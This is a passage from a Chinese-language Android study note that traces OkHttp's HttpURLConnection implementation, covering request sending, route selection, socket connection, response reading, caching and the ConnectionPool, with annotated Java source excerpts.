 // 读取结果，我们先不分析这里，等把sendRequest部分全部分析完成后再回来分析readResponse()部分。\n  if (readResponse) {\n    httpEngine.readResponse();\n  }\n\n  return true;\n} catch (IOException e) {\n  HttpEngine retryEngine = httpEngine.recover(e);\n  if (retryEngine != null) {\n    httpEngine = retryEngine;\n    return false;\n  }\n\n  // Give up; recovery is not possible.\n  httpEngineFailure = e;\n  throw e;\n}\n}\n```\n到这里，可以大胆的猜测一下了`HttpEngine`应该就是实际在`Socket`链接上进行数据收发的类。 当然这只是猜测，接着看一下它的实现:      \n```java\n/**\n * Handles a single HTTP request/response pair. Each HTTP engine follows this\n * lifecycle:\n * <ol>\n * <li>It is created.\n * <li>The HTTP request message is sent with sendRequest(). Once the request\n * is sent it is an error to modify the request headers. After\n * sendRequest() has been called the request body can be written to if\n * it exists.\n * <li>The HTTP response message is read with readResponse(). After the\n * response has been read the response headers and body can be read.\n * All responses have a response body input stream, though in some\n * instances this stream is empty.\n * </ol>\n *\n * <p>The request and response may be served by the HTTP response cache, by the\n * network, or by both in the event of a conditional GET.\n */\n```\n文档验证了我们的想法。因为它内部实现代码比较多，所以就不全部贴了，按照重要的一步步分析，既然上面调用了`sendRequest()`方法，这里就从他入手：　　　   \n```java\n/**\n* Figures out what the response source will be, and opens a socket to that\n* source if necessary. Prepares the request headers and gets ready to start\n* writing the request body if it exists.\n*/\npublic final void sendRequest() throws IOException {\n\tif (responseSource != null) return; // Already sent.\n\tif (transport != null) throw new IllegalStateException();\n\n\t// 设置一些请求头，正式这个方法内部默认设置了`Keep-Alive`的值，也就是在Android Level 9之前因为Bug，我们需要关闭它的具体处理位置。   \n\tprepareRawRequestHeaders();\n\t// 处理cache\n\tOkResponseCache responseCache = client.getOkResponseCache();\n\n\tResponse cacheResponse = responseCache != null\n\t\t? responseCache.get(request)\n\t\t: null;\n\tlong now = System.currentTimeMillis();\n\tCacheStrategy cacheStrategy = new CacheStrategy.Factory(now, request, cacheResponse).get();\n\tresponseSource = cacheStrategy.source;\n\trequest = cacheStrategy.request;\n\n\tif (responseCache != null) {\n\t  // 记录下当前的请求是来自网络请求还是来时缓存中的数据。\n\t  responseCache.trackResponse(responseSource);\n\t}\n\n\tif (responseSource != ResponseSource.NETWORK) {\n\t  validatingResponse = cacheStrategy.response;\n\t}\n\n\tif (cacheResponse != null && !responseSource.usesCache()) {\n\t  closeQuietly(cacheResponse.body()); // We don't need this cached response. Close it.\n\t}\n\n\tif (responseSource.requiresConnection()) {\n\t  // Open a connection unless we inherited one from a redirect.\n\t  if (connection == null) {\n\t\t// 调用connect方法，内部会重新创建一个connection，连接到服务器、重定向或者通过代理。\n\t\tconnect();\n\t  }\n\t  // 通过Connection创建一个HttpTransport类。这个和后面的connection类一起看， Transport接口提供了一个用户写Request头和数据的输出流。\n\t  transport = (Transport) connection.newTransport(this);\n\n\t  // Create a request body if we don't have one already. We'll already have\n\t  // one if we're retrying a failed POST.\n\t  if (hasRequestBody() && requestBodyOut == null) {\n\t\t// 通过transport创建一个请求体的输出流，requestBodyOut是Sink接口的实现类，其实就是将请求头和请求体发送给服务器。这部分跟下去内容比较多，就不往下跟了。\n\t　　　　// 到这里就已经完成了与服务器的连接功能，并且把请求内容发送给服务器。请求部分就执行完了，可以回去了，还知道开头是哪吗？哈哈。接下来的就是从服务器接口读取返回数据了。  \n\t\trequestBodyOut = transport.createRequestBody(request);\n\t  }\n\n\t} else {\n\t  // We're using a cached response. Recycle a connection we may have inherited from a redirect.\n\t  if (connection != null) {\n\t\t// 回收connection，这里就看到了连接池，这个client就是构造函数中传递进来的OKHttpClient\n\t\tclient.getConnectionPool().recycle(connection);\n\t\tconnection = null;\n\t  }\n\n\t  // No need for the network! Promote the cached response immediately.\n\t  this.response = validatingResponse;\n\t  if (validatingResponse.body() != null) {\n\t\tinitContentStream(validatingResponse.body().source());\n\t  }\n\t}\n}\n\n```\n\n接着看一下`connect()`方法：     \n```java\n/** Connect to the origin server either directly or via a proxy. */\nprivate void connect() throws IOException {\n\tif (connection != null) throw new IllegalStateException();\n\n\tif (routeSelector == null) {\n\t  String uriHost = request.url().getHost();\n\t  if (uriHost == null || uriHost.length() == 0) {\n\t\tthrow new UnknownHostException(request.url().toString());\n\t  }\n\t  SSLSocketFactory sslSocketFactory = null;\n\t  HostnameVerifier hostnameVerifier = null;\n\t  if (request.isHttps()) {\n\t\tsslSocketFactory = client.getSslSocketFactory();\n\t\thostnameVerifier = client.getHostnameVerifier();\n\t  }\n\t  Address address = new Address(uriHost, getEffectivePort(request.url()), sslSocketFactory,\n\t\t  hostnameVerifier, client.getAuthenticator(), client.getProxy(), client.getProtocols());\n\t  // RoteSeclector类介绍. Selects routes to connect to an origin server. Each connection requires a\n\t  // choice of proxy server, IP address, and TLS mode. Connections may also be\n\t  // recycled.注意他把OkHttpClient中的connection pool传递进来了。\n\t  routeSelector = new RouteSelector(address, request.uri(), client.getProxySelector(),\n\t\t  client.getConnectionPool(), Dns.DEFAULT, client.getRoutesDatabase());\n\t}\n\n\t// roteSeclecrot.next()方法的注释Returns the next route address to attempt.这一步非常重要。\n\tconnection = routeSelector.next(request.method());\n\n\tif (!connection.isConnected()) {\n\t  // connection 进行连接了啊。他里面会用Socket开始连了。。后面我们再细看。简单的说Connection管理了Socket，后面我们要重点看这个类。\n\t  connection.connect(client.getConnectTimeout(), client.getReadTimeout(), getTunnelConfig());\n\t  if (connection.isSpdy()) client.getConnectionPool().share(connection);\n\t  client.getRoutesDatabase().connected(connection.getRoute());\n\t} else if (!connection.isSpdy()) {\n\t  connection.updateReadTimeout(client.getReadTimeout());\n\t}\n\n\troute = connection.getRoute();\n}\n```\n接下来我们要先看一下routeSelector.next()方法如何返回connection对象，然后在看Connection.connect()方法：    \n```java\n/**\n* Returns the next route address to attempt.\n*\n* @throws NoSuchElementException if there are no more routes to attempt.\n*/\npublic Connection next(String method) throws IOException {\n    // 使用连接池获取Connection的地方。pool就是OkHttpClient中的连接池。\n\t// Always prefer pooled connections over new connections.\n\tfor (Connection pooled; (pooled = pool.get(address)) != null; ) {\n\t  // 匹配get方法，或者判断是否可读，http1.x是通过判断socket是否关闭来判断是否可读的。\n\t  if (method.equals(\"GET\") || pooled.isReadable()) return pooled;\n\t  // 不满足重用，就关闭。\n\t  pooled.close();\n\t}\n\n\t// Compute the next route to attempt.\n\tif (!hasNextTlsMode()) {\n\t  if (!hasNextInetSocketAddress()) {\n\t\tif (!hasNextProxy()) {\n\t\t  if (!hasNextPostponed()) {\n\t\t\tthrow new NoSuchElementException();\n\t\t  }\n\t\t  return new Connection(pool, nextPostponed());\n\t\t}\n\t\tlastProxy = nextProxy();\n\t\tresetNextInetSocketAddress(lastProxy);\n\t  }\n\t  lastInetSocketAddress = nextInetSocketAddress();\n\t  resetNextTlsMode();\n\t}\n\n\tboolean modernTls = nextTlsMode() == TLS_MODE_MODERN;\n\tRoute route = new Route(address, lastProxy, lastInetSocketAddress, modernTls);\n\tif (routeDatabase.shouldPostpone(route)) {\n\t  postponedRoutes.add(route);\n\t  // We will only recurse in order to skip previously failed routes. They will be\n\t  // tried last.\n\t  return next(method);\n\t}\n    // 没有的话也会去创建，并把OkHttpClient中的连接池传递进去。\n\treturn new Connection(pool, route);\n}\n```\n\n再看一下`Connection`类的实现以及其`connect()`方法:   \n```java\npublic final class Connection implements Closeable {\n  private final ConnectionPool pool;\n  private final Route route;\n\n  private Socket socket;\n  private InputStream in;\n  private OutputStream out;\n  private BufferedSource source;\n  private BufferedSink sink;\n  private boolean connected = false;\n  private HttpConnection httpConnection;\n  private SpdyConnection spdyConnection;\n  private int httpMinorVersion = 1; // Assume HTTP/1.1\n  private long idleStartTimeNs;\n  private Handshake handshake;\n  private int recycleCount;\n  // 传递进来的连接池。\n  public Connection(ConnectionPool pool, Route route) {\n    this.pool = pool;\n    this.route = route;\n  }\n\n  public void connect(int connectTimeout, int readTimeout, TunnelRequest tunnelRequest)\n      throws IOException {\n    if (connected) throw new IllegalStateException(\"already connected\");\n\n    socket = (route.proxy.type() != Proxy.Type.HTTP) ? new Socket(route.proxy) : new Socket();\n    // 连socket了，内部调用了socket.connect()方法。Connects this socket to the given remote host address and port specified\n    // by the SocketAddress {@code remoteAddr} with the specified timeout. The\n    // connecting method will block until the connection is established or an\n    // error occurred.\n    Platform.get().connectSocket(socket, route.inetSocketAddress, connectTimeout);\n    socket.setSoTimeout(readTimeout);\n    in = socket.getInputStream();\n    out = socket.getOutputStream();\n\n    if (route.address.sslSocketFactory != null) {\n\t  // 完成TLS握手和验证\n      upgradeToTls(tunnelRequest);\n    } else {\n      initSourceAndSink();\n      // 创建HttpConnection.A socket connection that can be used to send HTTP/1.1 messages. \n      // 这个HttpConnection有什么用呢？就是下面的newTransport方法中会用。而且还要把连接池传递进去？\n      httpConnection = new HttpConnection(pool, this, source, sink);\n    }\n\t// 这样就已经连接上了\n    connected = true;\n  }\n\n  // 该方法决定了使用的协议是SPDY还是HTTP\n  /** Returns the transport appropriate for this connection. */\n  public Object newTransport(HttpEngine httpEngine) throws IOException {\n    return (spdyConnection != null)\n        ? new SpdyTransport(httpEngine, spdyConnection)\n        : new HttpTransport(httpEngine, httpConnection);\n  }\n}\n```\n\n到这里就已经把发送请求到服务器的部分全部分析完了，就想上面所说的我们应该回去了，回去分析发送完请求后的部分。\n我们这个分析是在`HttpURLConnectionImpl.execute()`方法中的`HttpEngine.sendRequest()`方法开始一直分析下来的，\n所以我们还是要回到`HttpURLConnectionImpl.execute()`方法中. \n```java\nprivate boolean execute(boolean readResponse) throws IOException {\ntry {\n  // 上面已经把sendRequest部分全部分析完了，该方法会与服务器通过Socket建立连接并把请求部分发送给服务器。\n  httpEngine.sendRequest();\n  route = httpEngine.getRoute();\n  handshake = httpEngine.getConnection() != null\n      ? httpEngine.getConnection().getHandshake()\n      : null;\n  if (readResponse) {\n    // 发送完请求之后该干什么呢？ 当然是读取返回数据了。。。 没错就是它。但是不要忘了在connect()方法传递过来的时候这个值是false。\n    // 所以这一步在这里是不执行的，但是我们也分析下，方便以后理解。那这个值什么时候是true呢？就是在getResponse()方法中。\n    httpEngine.readResponse();\n  }\n\n  return true;\n} catch (IOException e) {\n  HttpEngine retryEngine = httpEngine.recover(e);\n  if (retryEngine != null) {\n    httpEngine = retryEngine;\n    return false;\n  }\n\n  // Give up; recovery is not possible.\n  httpEngineFailure = e;\n  throw e;\n}\n}\n```\n接着看`HttpEngine.readResponse()`方法吧。注释说的非常明白。   \n```java\n/**\n* Flushes the remaining request header and body, parses the HTTP response\n* headers and starts reading the HTTP response body if it exists.\n*/\npublic final void readResponse() throws IOException {\nif (response != null) return;\nif (responseSource == null) throw new IllegalStateException(\"call sendRequest() first!\");\nif (!responseSource.requiresConnection()) return;\n\n// Flush the request body if there's data outstanding.\nif (bufferedRequestBody != null && bufferedRequestBody.buffer().size() > 0) {\n  bufferedRequestBody.flush();\n}\n\nif (sentRequestMillis == -1) {\n  if (OkHeaders.contentLength(request) == -1 && requestBodyOut instanceof RetryableSink) {\n    // We might not learn the Content-Length until the request body has been buffered.\n    long contentLength = ((RetryableSink) requestBodyOut).contentLength();\n    request = request.newBuilder()\n        .header(\"Content-Length\", Long.toString(contentLength))\n        .build();\n  }\n  transport.writeRequestHeaders(request);\n}\n\nif (requestBodyOut != null) {\n  if (bufferedRequestBody != null) {\n    // This also closes the wrapped requestBodyOut.\n    bufferedRequestBody.close();\n  } else {\n    requestBodyOut.close();\n  }\n  if (requestBodyOut instanceof RetryableSink) {\n    transport.writeRequestBody((RetryableSink) requestBodyOut);\n  }\n}\n\ntransport.flushRequest();\n\nresponse = transport.readResponseHeaders()\n    .request(request)\n    .handshake(connection.getHandshake())\n    .header(OkHeaders.SENT_MILLIS, Long.toString(sentRequestMillis))\n    .header(OkHeaders.RECEIVED_MILLIS, Long.toString(System.currentTimeMillis()))\n    .setResponseSource(responseSource)\n    .build();\nconnection.setHttpMinorVersion(response.httpMinorVersion());\nreceiveHeaders(response.headers());\n\nif (responseSource == ResponseSource.CONDITIONAL_CACHE) {\n  // 检查缓存是否可用，如果可用就用当前缓存的response。并且释放该连接。\n  if (validatingResponse.validate(response)) {\n    transport.emptyTransferStream();\n    releaseConnection();\n    response = combine(validatingResponse, response);\n\n    // Update the cache after combining headers but before stripping the\n    // Content-Encoding header (as performed by initContentStream()).\n    OkResponseCache responseCache = client.getOkResponseCache();\n    responseCache.trackConditionalCacheHit();\n    responseCache.update(validatingResponse, cacheableResponse());\n\n    if (validatingResponse.body() != null) {\n      initContentStream(validatingResponse.body().source());\n    }\n    return;\n  } else {\n    closeQuietly(validatingResponse.body());\n  }\n}\n\nif (!hasResponseBody()) {\n  // Don't call initContentStream() when the response doesn't have any content.\n  responseTransferSource = transport.getTransferStream(cacheRequest);\n  responseBody = responseTransferSource;\n  return;\n}\n\n// 设置cacheRequest的值\nmaybeCache();\n// 设置返回数据了，transport这里也就是HttpTransport。他的getTransferStream返回的是一个Source接口的实现类。也就是返回的数据。\ninitContentStream(transport.getTransferStream(cacheRequest));\n}\n```\n先看一下maybeCache()方法：    \n```java\nprivate void maybeCache() throws IOException {\nOkResponseCache responseCache = client.getOkResponseCache();\nif (responseCache == null) return;\n\n// Should we cache this response for this request?\nif (!CacheStrategy.isCacheable(response, request)) {\n  responseCache.maybeRemove(request);\n  return;\n}\n\n// Offer this request to the cache.\ncacheRequest = responseCache.put(cacheableResponse());\n}\n```\n再看一下`initContentStream()`方法：    \n```java\n/**\n* Initialize the response content stream from the response transfer source.\n* These two sources are the same unless we're doing transparent gzip, in\n* which case the content source is decompressed.\n*\n* <p>Whenever we do transparent gzip we also strip the corresponding headers.\n* We strip the Content-Encoding header to prevent the application from\n* attempting to double decompress. We strip the Content-Length header because\n* it is the length of the compressed content, but the application is only\n* interested in the length of the uncompressed content.\n*\n* <p>This method should only be used for non-empty response bodies. Response\n* codes like \"304 Not Modified\" can include \"Content-Encoding: gzip\" without\n* a response body and we will crash if we attempt to decompress the zero-byte\n* source.\n*/\nprivate void initContentStream(Source transferSource) throws IOException {\nresponseTransferSource = transferSource;\nif (transparentGzip && \"gzip\".equalsIgnoreCase(response.header(\"Content-Encoding\"))) { \n  // 没有结果时response为null，有结果了就会给他赋值。\n  response = response.newBuilder()\n      .removeHeader(\"Content-Encoding\")\n      .removeHeader(\"Content-Length\")\n      .build();\n  responseBody = new GzipSource(transferSource);\n} else {\n  responseBody = transferSource;\n}\n}\n```\n到这里又执行完了，responseBody已经被赋值了，他是一个Source接口的实现类。也就是说到这里，这次网络请求就完成了，也收到了服务器返回的数据。\n\n\n也就是说到这里我们已经分析了:  \n\n```java\nHttpURLConnection connection = (HttpURLConnection)new URL(url).openConnection();\nconnection.connect();\n```\n接下来就是分析`connection.getResponseCode()`以及`connection.getOutputStream()`这两个方法了。       \n先看一下`getResponseCode()`方法：　　　　\n```java\n@Override public final int getResponseCode() throws IOException {\n// 看到了吗？这里就是刚才我们说的execute()方法的参数什么时候会为true的地方。\nreturn getResponse().getResponse().code();\n}\n```\n那我们接着看一下`getResponse()`方法，其实就是直接读取响应头的响应值：　　　　　　\n```java\n/**\n* Aggressively tries to get the final HTTP response, potentially making\n* many HTTP requests in the process in order to cope with redirects and\n* authentication.\n*/\nprivate HttpEngine getResponse() throws IOException {\ninitHttpEngine();\n\n// 如果已经有返回数据了就直接返回\nif (httpEngine.hasResponse()) {\n  return httpEngine;\n}\n\nwhile (true) {\n  // 参数为true了。\n  if (!execute(true)) {\n    continue;\n  }\n\n  Retry retry = processResponseHeaders();\n  if (retry == Retry.NONE) {\n    httpEngine.releaseConnection();\n    return httpEngine;\n  }\n\n  // The first request was insufficient. Prepare for another...\n  String retryMethod = method;\n  Sink requestBody = httpEngine.getRequestBody();\n\n  // Although RFC 2616 10.3.2 specifies that a HTTP_MOVED_PERM\n  // redirect should keep the same method, Chrome, Firefox and the\n  // RI all issue GETs when following any redirect.\n  int responseCode = httpEngine.getResponse().code();\n  if (responseCode == HTTP_MULT_CHOICE\n      || responseCode == HTTP_MOVED_PERM\n      || responseCode == HTTP_MOVED_TEMP\n      || responseCode == HTTP_SEE_OTHER) {\n    retryMethod = \"GET\";\n    requestHeaders.removeAll(\"Content-Length\");\n    requestBody = null;\n  }\n\n  if (requestBody != null && !(requestBody instanceof RetryableSink)) {\n    throw new HttpRetryException(\"Cannot retry streamed HTTP body\", responseCode);\n  }\n\n  if (retry == Retry.DIFFERENT_CONNECTION) {\n    httpEngine.releaseConnection();\n  }\n\n  Connection connection = httpEngine.close();\n  httpEngine = newHttpEngine(retryMethod, connection, (RetryableSink) requestBody);\n}\n}\n```\n接着看一下`getOutputStream()`的源码：     \n```java\n@Override public final OutputStream getOutputStream() throws IOException {\n// 看到了吗？他内部会先去调用connect()方法\nconnect();\n\n　  // 这里可能有人会有说，getOutputStream和request body有什么关系，应该是response body才对啊。\n// 不要弄混了啊，getOutputStream是要把post请求的数据输入给请求。\nBufferedSink sink = httpEngine.getBufferedRequestBody();\nif (sink == null) {\n  throw new ProtocolException(\"method does not support a request body: \" + method);\n} else if (httpEngine.hasResponse()) {\n  throw new ProtocolException(\"cannot write request body after response has been read\");\n}\n\nreturn sink.outputStream();\n}\n```\n顺便再看一下`getInputStream()`方法：     　\n```java\n@Override public final InputStream getInputStream() throws IOException {\nif (!doInput) {\n  throw new ProtocolException(\"This protocol does not support input\");\n}\n// 它也会直接调用getResponse()方法，这个比较好理解。\nHttpEngine response = getResponse();\n\n// if the requested file does not exist, throw an exception formerly the\n// Error page from the server was returned if the requested file was\n// text/html this has changed to return FileNotFoundException for all\n// file types\nif (getResponseCode() >= HTTP_BAD_REQUEST) {\n  throw new FileNotFoundException(url.toString());\n}\n\nInputStream result = response.getResponseBodyBytes();\nif (result == null) {\n  throw new ProtocolException(\"No response body exists; responseCode=\" + getResponseCode());\n}\nreturn result;\n}\n```\n再顺便看一下`HttpURLConnection.disconnect()`方法，因为这个方法可能很多人不清楚该不该调用他,不过注释说的很明白了：     \n```java\n/**\n * Releases this connection so that its resources may be either reused or\n * closed.\n *\n * <p>Unlike other Java implementations, this will not necessarily close\n * socket connections that can be reused. You can disable all connection\n * reuse by setting the {@code http.keepAlive} system property to {@code\n * false} before issuing any HTTP requests.\n */\n@Override public final void disconnect() {\n// Calling disconnect() before a connection exists should have no effect.\nif (httpEngine != null) {\n  // 调用HttpEngine.close()方法\n  httpEngine.close();\n}\n}\n```\n看一下HttpEngine.close()方法:     \n```java\n/**\n* Release any resources held by this engine. If a connection is still held by\n* this engine, it is returned.\n*/\npublic final Connection close() {\nif (bufferedRequestBody != null) {\n  // This also closes the wrapped requestBodyOut.\n  closeQuietly(bufferedRequestBody);\n} else if (requestBodyOut != null) {\n  closeQuietly(requestBodyOut);\n}\n\n// If this engine never achieved a response body, its connection cannot be reused.\nif (responseBody == null) {\n  closeQuietly(connection);\n  connection = null;\n  return null;\n}\n\n// Close the response body. This will recycle the connection if it is eligible.\ncloseQuietly(responseBody);\n\n// Clear the buffer held by the response body input stream adapter.\ncloseQuietly(responseBodyBytes);\n\n// HttpTransport.canReuseConnection()用于判断该Connection是否可复用\n// Close the connection if it cannot be reused.\nif (transport != null && !transport.canReuseConnection()) {\n  closeQuietly(connection);\n  connection = null;\n  return null;\n}\n\nConnection result = connection;\nconnection = null;\nreturn result;\n}\n```\n继续看一下closeQuietly(connection)方法：     \n```java\n/**\n* Closes {@code closeable}, ignoring any checked exceptions. Does nothing\n* if {@code closeable} is null.\n*/\npublic static void closeQuietly(Closeable closeable) {\nif (closeable != null) {\n  try {\n    // 这里也就是Connection的close()方法\n    closeable.close();\n  } catch (RuntimeException rethrown) {\n    throw rethrown;\n  } catch (Exception ignored) {\n  }\n}\n}\n```\n\n再接着看一下Connection.close()方法：    \n```java\n@Override public void close() throws IOException {\n// 直接调用了socket.close()方法。这些socket也关了。\nsocket.close();\n}\n```\n再看Socket.close()方法：    \n```java\npackage com.squareup.okhttp;\n\n/**\n * Closes the socket. It is not possible to reconnect or rebind to this\n * socket thereafter which means a new socket instance has to be created.\n *\n * @throws IOException\n *             if an error occurs while closing the socket.\n */\npublic synchronized void close() throws IOException {\n    isClosed = true;\n    isConnected = false;\n    // RI compatibility: the RI returns the any address (but the original local port) after\n    // close.\n    localAddress = Inet4Address.ANY;\n    impl.close();\n}\n```\n\n\n到这里就都看完了，最后我们再看一下上面用到的连接池，也就是`ConnectionPool`类:  因为在上面的分析中，我们发现此类贯穿了很多类。\n它为`OkHttpClient`中的对象，后贯穿到`HttpEngine`、`Connection`、`HttpConnection`等。所以要分析下。\n```java\n/**\n * Manages reuse of HTTP and SPDY connections for reduced network latency. HTTP\n * requests that share the same {@link com.squareup.okhttp.Address} may share a\n * {@link com.squareup.okhttp.Connection}. This class implements the policy of\n * which connections to keep open for future use.\n *\n * <p>The {@link #getDefault() system-wide default} uses system properties for\n * tuning parameters:\n * <ul>\n *     <li>{@code http.keepAlive} true if HTTP and SPDY connections should be\n *         pooled at all. Default is true.\n *     <li>{@code http.maxConnections} maximum number of idle connections to\n *         each to keep in the pool. Default is 5.\n *     <li>{@code http.keepAliveDuration} Time in milliseconds to keep the\n *         connection alive in the pool before closing it. Default is 5 minutes.\n *         This property isn't used by {@code HttpURLConnection}.\n * </ul>\n *\n * <p>The default instance <i>doesn't</i> adjust its configuration as system\n * properties are changed. This assumes that the applications that set these\n * parameters do so before making HTTP connections, and that this class is\n * initialized lazily.\n */\npublic class ConnectionPool {\n  private static final int MAX_CONNECTIONS_TO_CLEANUP = 2;\n  private static final long DEFAULT_KEEP_ALIVE_DURATION_MS = 5 * 60 * 1000; // 5 min\n\n  // 这个就是getDefault方法所返回的默认连接池。\n  private static final ConnectionPool systemDefault;\n\n  static {\n    String keepAlive = System.getProperty(\"http.keepAlive\");\n\t// 存活时间\n    String keepAliveDuration = System.getProperty(\"http.keepAliveDuration\");\n\t// 最大空闲连接数\n    String maxIdleConnections = System.getProperty(\"http.maxConnections\");\n    long keepAliveDurationMs = keepAliveDuration != null ? Long.parseLong(keepAliveDuration)\n        : DEFAULT_KEEP_ALIVE_DURATION_MS;\n    if (keepAlive != null && !Boolean.parseBoolean(keepAlive)) {\n      systemDefault = new ConnectionPool(0, keepAliveDurationMs);\n    } else if (maxIdleConnections != null) {\n      systemDefault = new ConnectionPool(Integer.parseInt(maxIdleConnections), keepAliveDurationMs);\n    } else {\n      systemDefault = new ConnectionPool(5, keepAliveDurationMs);\n    }\n  }\n\n  /** The maximum number of idle connections for each address. */\n  private final int maxIdleConnections;\n  private final long keepAliveDurationNs;\n\n  private final LinkedList<Connection> connections = new LinkedList<Connection>();\n\n  // 连接的有效性检测是所有连接池都面临的一个通用问题，大部分HTTP服务器为了控制资源开销，并不会永久的维护一个长连接，而是一段时间就会关闭该连接。\n  // 放回连接池的连接，如果在服务器端已经关闭，客户端是无法检测到这个状态变化而及时的关闭Socket的。这就造成了线程从连接池中获取的连接不一定是有效的。\n  // 这个问题的一个解决方法就是在每次请求之前检查该连接是否已经存在了过长时间，可能已过期。但是这个方法会使得每次请求都增加额外的开销。\n  // 所以通过下面的任务来执行清理过期的连接。\n  /** We use a single background thread to cleanup expired connections. */\n  private final ExecutorService executorService = new ThreadPoolExecutor(0, 1,\n      60L, TimeUnit.SECONDS, new LinkedBlockingQueue<Runnable>(),\n      Util.threadFactory(\"OkHttp ConnectionPool\", true));\n  private final Runnable connectionsCleanupRunnable = new Runnable() {\n    @Override public void run() {\n      List<Connection> expiredConnections = new ArrayList<Connection>(MAX_CONNECTIONS_TO_CLEANUP);\n      int idleConnectionCount = 0;\n      synchronized (ConnectionPool.this) {\n        for (ListIterator<Connection> i = connections.listIterator(connections.size());\n            i.hasPrevious(); ) {\n          Connection connection = i.previous();\n          if (!connection.isAlive() || connection.isExpired(keepAliveDurationNs)) {\n            i.remove();\n            expiredConnections.add(connection);\n            if (expiredConnections.size() == MAX_CONNECTIONS_TO_CLEANUP) break;\n          } else if (connection.isIdle()) {\n            idleConnectionCount++;\n          }\n        }\n\n        for (ListIterator<Connection> i = connections.listIterator(connections.size());\n            i.hasPrevious() && idleConnectionCount > maxIdleConnections; ) {\n          Connection connection = i.previous();\n          if (connection.isIdle()) {\n            expiredConnections.add(connection);\n            i.remove();\n            --idleConnectionCount;\n          }\n        }\n      }\n      for (Connection expiredConnection : expiredConnections) {\n        Util.closeQuietly(expiredConnection);\n      }\n    }\n  };\n\n  public ConnectionPool(int maxIdleConnections, long keepAliveDurationMs) {\n    this.maxIdleConnections = maxIdleConnections;\n    this.keepAliveDurationNs = keepAliveDurationMs * 1000 * 1000;\n  }\n\n  /**\n   * Returns a snapshot of the connections in this pool, ordered from newest to\n   * oldest. Waits for the cleanup callable to run if it is currently scheduled.\n   */\n  List<Connection> getConnections() {\n    waitForCleanupCallableToRun();\n    synchronized (this) {\n      return new ArrayList<Connection>(connections);\n    }\n  }\n\n  /**\n   * Blocks until the executor service has processed all currently enqueued\n   * jobs.\n   */\n  private void waitForCleanupCallableToRun() {\n    try {\n      executorService.submit(new Runnable() {\n        @Override public void run() {\n        }\n      }).get();\n    } catch (Exception e) {\n      throw new AssertionError();\n    }\n  }\n\n  public static ConnectionPool getDefault() {\n    return systemDefault;\n  }\n\n  /** Returns total number of connections in the pool. */\n  public synchronized int getConnectionCount() {\n    return connections.size();\n  }\n\n  /** Returns total number of spdy connections in the pool. */\n  public synchronized int getSpdyConnectionCount() {\n    int total = 0;\n    for (Connection connection : connections) {\n      if (connection.isSpdy()) total++;\n    }\n    return total;\n  }\n\n  /** Returns total number of http connections in the pool. */\n  public synchronized int getHttpConnectionCount() {\n    int total = 0;\n    for (Connection connection : connections) {\n      if (!connection.isSpdy()) total++;\n    }\n    return total;\n  }\n\n  /** Returns a recycled connection to {@code address}, or null if no such connection exists. */\n  public synchronized Connection get(Address address) {\n    Connection foundConnection = null;\n    for (ListIterator<Connection> i = connections.listIterator(connections.size());\n        i.hasPrevious(); ) {\n      Connection connection = i.previous();\n      if (!connection.getRoute().getAddress().equals(address)\n          || !connection.isAlive()\n          || System.nanoTime() - connection.getIdleStartTimeNs() >= keepAliveDurationNs) {\n        continue;\n      }\n      i.remove();\n      if (!connection.isSpdy()) {\n\t    // 不是spdy连接\n        try {\n\t\t  // Platforml类对当前Android平台做了适配。\n          Platform.get().tagSocket(connection.getSocket());\n        } catch (SocketException e) {\n          Util.closeQuietly(connection);\n          // When unable to tag, skip recycling and close\n          Platform.get().logW(\"Unable to tagSocket(): \" + e);\n          continue;\n        }\n      }\n\t  // 找到可复用的Connection\n      foundConnection = connection;\n      break;\n    }\n\n\t// 针对spdy连接，添加到连接池中\n    if (foundConnection != null && foundConnection.isSpdy()) {\n      connections.addFirst(foundConnection); // Add it back after iteration.\n    }\n\n    executorService.execute(connectionsCleanupRunnable);\n    return foundConnection;\n  }\n\n  /**\n   * Gives {@code connection} to the pool. The pool may store the connection,\n   * or close it, as its policy describes.\n   *\n   * <p>It is an error to use {@code connection} after calling this method.\n   */\n  public void recycle(Connection connection) {\n    if (connection.isSpdy()) {\n      return;\n    }\n\n    if (!connection.isAlive()) {\n      Util.closeQuietly(connection);\n      return;\n    }\n\n    try {\n      Platform.get().untagSocket(connection.getSocket());\n    } catch (SocketException e) {\n      // When unable to remove tagging, skip recycling and close.\n      Platform.get().logW(\"Unable to untagSocket(): \" + e);\n      Util.closeQuietly(connection);\n      return;\n    }\n\n    synchronized (this) {\n      connections.addFirst(connection);\n      connection.incrementRecycleCount();\n      connection.resetIdleStartTime();\n    }\n\n    executorService.execute(connectionsCleanupRunnable);\n  }\n\n  /**\n   * Shares the SPDY connection with the pool. Callers to this method may\n   * continue to use {@code connection}.\n   */\n  public void share(Connection connection) {\n    if (!connection.isSpdy()) throw new IllegalArgumentException();\n    executorService.execute(connectionsCleanupRunnable);\n    if (connection.isAlive()) {\n      synchronized (this) {\n        connections.addFirst(connection);\n      }\n    }\n  }\n\n  /** Close and remove all connections in the pool. */\n  public void evictAll() {\n    List<Connection> connections;\n    synchronized (this) {\n      connections = new ArrayList<Connection>(this.connections);\n      this.connections.clear();\n    }\n\n    for (int i = 0, size = connections.size(); i < size; i++) {\n      Util.closeQuietly(connections.get(i));\n    }\n  }\n}\n\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Netowork/Retrofit详解(上).md",
